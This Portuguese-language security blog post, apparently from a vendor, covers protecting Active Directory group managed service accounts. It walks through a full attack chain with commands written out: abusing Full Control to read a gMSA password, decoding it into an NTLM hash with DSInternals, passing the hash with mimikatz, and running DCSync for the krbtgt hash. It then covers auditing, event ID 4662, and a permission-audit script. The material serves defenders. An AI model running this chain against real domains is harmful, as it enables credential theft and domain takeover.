Garantindo a Segurança das Suas Contas de Serviço Gerenciadas por Grupo

Visão Geral de Group Managed Service Accounts

A prática tradicional de usar contas de usuário regulares como contas de serviço coloca o ônus da gestão de senhas nos usuários. Como resultado, as senhas das contas frequentemente permanecem as mesmas por anos — o que as torna altamente suscetíveis a ataques de força bruta e uso indevido. Contas de serviço gerenciadas em grupo (gMSAs) oferecem uma maneira mais segura de executar tarefas automatizadas, serviços e aplicações.

As gMSA foram introduzidas no Windows Server 2016 e podem ser utilizadas no Windows Server 2012 e superiores. As senhas das gMSA são completamente gerenciadas pelo Windows: Elas são geradas aleatoriamente e rotacionadas automaticamente. Além disso, as senhas não precisam ser conhecidas por nenhum usuário, já que as contas de serviço são 'instaladas' no servidor que vai consultar as informações de senha do Active Directory em tempo de execução. Como resultado, as gMSAs são muito menos suscetíveis a uso indevido e comprometimento do que contas de usuários sendo utilizadas como contas de serviço.

Segurança de Conta de Serviço Gerenciada por Grupo

gMSAs são um tipo específico de objeto no Active Directory: msDS-GroupManagedServiceAccount. Esses objetos possuem atributos especiais associados a eles relacionados à sua senha e à rotação desta. Semelhante a LAPS, você vai querer garantir que os atributos gMSA estejam restritos apenas aos objetos do Active Directory que precisam acessá-los.

Atributos e Permissões de gMSA

As gMSAs possuem os seguintes atributos:

• msDS-ManagedPassword— Um BLOB com a senha do gMSA
• msDS-ManagedPasswordID— O ID chave utilizado para gerar a senha atual do gMSA
• msDS-ManagedPasswordPreviousID— O ID chave utilizado para gerar a senha gMSA anterior
• msDS-GroupMSAMembership— Uma lista dos objetos que têm permissão para consultar a senha do gMSA
• msDS-ManagedPasswordInterval— O intervalo (em dias) no qual a senha é rotacionada

Uma vez que as informações da senha são armazenadas no atributo msDS-ManagedPassword, você certamente vai querer saber quem no seu ambiente está apto a consultar a senha. Essa informação é definida no atributo msDS-GroupMSAMembership.

No entanto, é um pouco mais complicado do que apenas esse atributo, pois as permissões do Active Directory entram em jogo. Se por qualquer motivo um usuário ou objeto estiver configurado para ter permissões para consultar a senha através da conta msDS-GroupMSAMembership, eles ainda precisam ter permissões de 'Leitura' para o atributo msDS-ManagedPassword do gMSA.

Isso significa que existem duas maneiras de proteger senhas gMSA:

• Garanta que apenas os objetos necessários tenham permissão para consultar a senha e que eles existam no msDS-GroupMSAMembership
• Certifique-se de que apenas usuários administrativos que precisam de acesso e contas de computador onde gMSAs estão instalados tenham permissão para ler o atributo. Além disso, garanta que apenas administradores tenham a capacidade de modificar o gMSA e seus atributos, para que ninguém possa se adicionar ao atributo msDS-GroupMSAMembership.

Idealmente, você bloquearia gMSAs por ambos os caminhos para impedir que um atacante tenha a opção de explorar qualquer um dos cenários acima. Abaixo, mostraremos como permissões ou configurações mal gerenciadas em um gMSA podem levar ao comprometimento da conta e privilege escalation ou movimento lateral.

Abusando da senha gMSA

Abusar de uma gMSA é um conceito relativamente simples. Primeiro, obtenha sua senha usando uma ferramenta como Mimikatz ou consultando-a diretamente devido a configurações inseguras no Active Directory. Como as gMSAs são contas de serviço, geralmente têm privilégios relativamente altos, então normalmente você poderá se mover lateralmente ou escalar.

Vamos passar por um cenário de exemplo.

1. Primeiro comprometemos a conta de usuário comum do Windows ‘notadmin’ por meio de uma técnica como phishing. Esta conta possui privilégios mínimos no Active Directory, mas é um administrador local na máquina em que pousamos.

2. Em seguida, tentaremos descobrir se existem gMSA. Isso é muito simples de realizar se você tiver acesso ao cmdlet do Windows PowerShell. Executando um script simples, obtemos todas as contas de serviço gerenciadas no Active Directory:

      Get-ADServiceAccount -Filter *
      

3. Com algumas pequenas modificações no script, podemos identificar quem tem acesso para consultar as senhas gMSA:

      Get-ADServiceAccount -Filter * -Properties PrincipalsAllowedToRetrieveManagedPassword
      

Como podemos ver, apenas a conta de Kevin Joyce tem permissão para consultar as senhas dessas contas de serviço:

4. Podemos restringir o escopo dos alvos que queremos verificando se essas contas de serviço são membros de algum grupo privilegiado e, a partir daí, podemos investigar mais a fundo as permissões definidas em um dos objetos:

      Get-ADServiceAccount -Filter * -Properties memberof
      

Analisando os resultados aqui, podemos ver que a conta de serviço gMSA é membro dos Domain Admins, então esta será a que tentaremos explorar.

5. Ao modificar um script fornecido em uma postagem sobre Microsoft LAPS, conseguimos obter uma listagem de todos os objetos que possuem permissões sobre uma conta de serviços gerenciados que incluíam Controle Total, Escrever Todas as Propriedades ou Escrever Propriedade para o atributo gMSA específico. O resultado está abaixo, e o script está vinculado no final.

6. Como você pode ver, a conta notadmin possui Controle Total na conta gMSA. Isso nos dá a capacidade de modificar o atributo msDS-GroupMSAMembership, o que nos permitirá recuperar a senha para a conta de serviço gerenciado:

      Set-ADServiceAccount -Identity gmsa -PrincipalsAllowedToRetrieveManagedPassword notadmin
      

7. Agora que conseguimos consultar a senha, vamos ver o que podemos fazer com ela:

      Get-ADServiceAccount -Identity gmsa -properties msds-ManagedPassword
      

      $pwd = Get-ADServiceAccount -identity gMSA -Properties msds-ManagedPassword
      

8. O valor armazenado no atributo é um BLOB que contém os dados para a senha, não a senha em si, então teremos que decodificar a senha usando uma ferramenta como DSInternals:

      $pw = ConvertFrom-ADManagedPasswordBlob $pwd.’msds-managedpassword’
ConvertTo-NTHash $pw.securecurrentpassword
      

Isso nos dá o SecureCurrentPassword e o CurrentPassword. O CurrentPassword parece inútil, mas isso ocorre porque todos os caracteres estão em UTF-16. O SecureCurrentPassword pode ser convertido em um hash NTLM e usado em a pass the hash attack com mimikatz para elevar nossos privilégios.

9. Para pass the hash basta executar mimikatz e usar este comando:

      sekurlsa::pth /user:gmsa /domain:sbpmlab.net /ntlm:a99afa608b79a3c539a969212c505ea9
      

10. Agora que temos um shell sendo executado como a conta de serviço gMSA que era membro dos Domain Admins, podemos fazer o que quisermos para comprometer o Active Directory. Uma das maneiras mais rápidas, mas provavelmente mais barulhentas de fazer isso, é executar um DCSync attack e roubar o hash da conta krbtgt:

      lsadump::dcsync /user:krbtgt /domain:sbpmlab.net
      

Proteção & Monitoramento de gMSA

Existem estratégias que você pode usar para prevenir e detectar o abuso de gMSA.

Permissões

A proteção mais óbvia e possivelmente a mais importante que você pode implementar é garantir que as permissões adequadas estejam configuradas nas suas contas de serviço gerenciadas por grupo. Compreender quem tem acesso de escrita a esses objetos é pertinente para protegê-los; alguém que possa se adicionar ao atributo que controla quem pode consultar a senha em teoria já tem acesso para assumir essa conta e abusar de seus privilégios.

A próxima coisa seria entender quem tem a capacidade de consultar as senhas nessas contas e exatamente quem precisa de tal acesso. Na realidade, a única conta que deveria ser capaz de obter a senha de uma gMSA é a conta do computador na qual a gMSA está instalada.

Logs de Eventos

Existe um evento que você pode procurar nos logs de eventos nativos que ajudará a identificar quem está consultando as senhas das contas gMSA. Se você ativar a política ‘Audit directory service access’ para o seu domínio e configurar uma SACL nas gMSAs que deseja monitorar, você pode gerar logs de eventos quando as pessoas consultarem o atributo msDS-ManagedPassword:

Ativar essa configuração e criar um novo SACL irá gerar um log de eventos com o ID de evento 4662; ele se parece com isto:

Como você pode ver, isso registrou que a conta ‘notadmin’ leu uma propriedade na conta gMSA. As propriedades lidas são os GUIDs armazenados no esquema para Active Directory, mas usando o ADSI edit podemos ver que o GUID destacado resolve para o atributo msDS-ManagedPassword.

Assumindo que você possa ter algum tipo de encaminhamento de log de eventos ou uma solução SIEM, esses logs seriam inestimáveis para determinar quem está acessando esses atributos.

Netwrix StealthDEFEND

Outra opção é uma ferramenta como Netwrix StealthDEFEND. Netwrix StealthDEFEND não depende de logs de eventos nativos e pode detectar o acesso à senha gMSA e atribuições de permissões de alto risco imediatamente. Por exemplo, o cenário mostrado acima geraria a seguinte ameaça quando a conta 'notadmin' consultasse a senha:

Além disso, com Netwrix StealthDEFEND, você pode facilmente criar um playbook para executar quando o abuso de gMSA for detectado. O playbook pode envolver várias etapas, como exigir que a conta de usuário perpetradora responda a uma solicitação de MFA, desabilitar a conta ou criar um incidente no ServiceNow.

Apêndice

Código de permissões gMSA:

      <#
Author: Kevin Joyce
Requirements: Active Directory PowerShell module, Domain Administrator privileges (to ensure the capability to get attribute GUIDs and view all permissions on all gMSA objects)
Description: Looks up permissions within Active Directory on a gMSA to determine access to modify the gMSA attribute (ms-ds-GroupMSAMembership).
Usage: populate the $target variable with the samaccountname of a gMSA.
To output the results to a text file run the following .gMSA_Permissions_Collection.ps1 > output.txt
#>
Import-Module ActiveDirectory
##Get the GUID of the extended attribute ms-ds-GroupMSAMembership from Schema
$schemaIDGUID = @{}
Get-ADObject -SearchBase (Get-ADRootDSE).schemaNamingContext -LDAPFilter '(name=ms-ds-GroupMSAMembership)' -Properties name, schemaIDGUID |
ForEach-Object {$schemaIDGUID.add([System.GUID]$_.schemaIDGUID,$_.name)}

<# **REPLACE DN VARIABLE BELOW**
Declare the samaccountname of the gMSA to search for#>
$target = 'gmsa'

##Get distinguished name of all gMSAs objects from the OU
$gMSAs = Get-ADServiceAccount -identity $target


<#Get objects that have specific permissions on the target(s): 
Full Control(GenericAll) 
Write all Properties (WriteProperty where ObjectType = 00000000-0000-0000-0000-000000000000 
#>
Set-Location ad:
foreach ($gmsa in $gMSAs){
(Get-Acl $gmsa.distinguishedname).access | 
Where-Object { (($_.AccessControlType -eq 'Allow') -and ($_.activedirectoryrights -in ('GenericAll') -and $_.inheritancetype -in ('All', 'None')) -or (($_.activedirectoryrights -like '*WriteProperty*') -and ($_.objecttype -eq '00000000-0000-0000-0000-000000000000')))} |
ft ([string]$gmsa.name),identityreference, activedirectoryrights, objecttype, isinherited -autosize 
}
<#Get objects that have specific permissions on the target(s) and specifically the gMSA attribute:
WriteProperty 
#>
Set-Location ad:
foreach ($gmsa in $gMSAs){
(Get-Acl $gmsa.distinguishedname).access | 
Where-Object {(($_.AccessControlType -eq 'Allow') -and (($_.activedirectoryrights -like '*WriteProperty*') -and ($_.objecttype -in $schemaIDGUID.Keys)))} |
ft ([string]$gmsa.name),identityreference, activedirectoryrights, objecttype, isinherited -AutoSize
}
      

ver em brutogMSA_Permissions_Collection.ps1 hospedado com por GitHub

FAQ

O que é uma gMSA?

Semelhante às contas de serviço gerenciadas (MSA), as contas de serviço gerenciadas em grupo (gMSAs) são contas de domínio gerenciadas que são usadas para ajudar a proteger serviços e gerenciamento de acesso. A funcionalidade gMSA fornece gerenciamento automático de senha pelo controlador de domínio (DC), gerenciamento simplificado do nome principal do serviço (SPN) e a capacidade de delegar o gerenciamento a outros administradores, o que melhora a segurança do Active Directory e minimiza contas com acesso privilegiado.

Qual é a diferença entre MSAs e gMSAs?

Ao contrário de uma MSA, uma gMSA pode ser associada a vários computadores.

Como encontrar uma conta de serviço gerenciada por grupo?

Para obter uma lista de gMSAs no seu controlador de domínio, abra o Gerenciador de Servidores > Ferramentas > Active Directory Users and Computers > Contas de Serviço Gerenciadas.

Um gMSA pode ser um Administrador de Domínio?

Sim, uma conta gMSA pode ser membro dos Domain Admins, embora essa prática possa ser perigosa para a segurança da informação.

Como posso criar uma gMSA?

As contas de serviço gerenciadas por grupo são criadas com o cmdlet New-ADServiceAccount.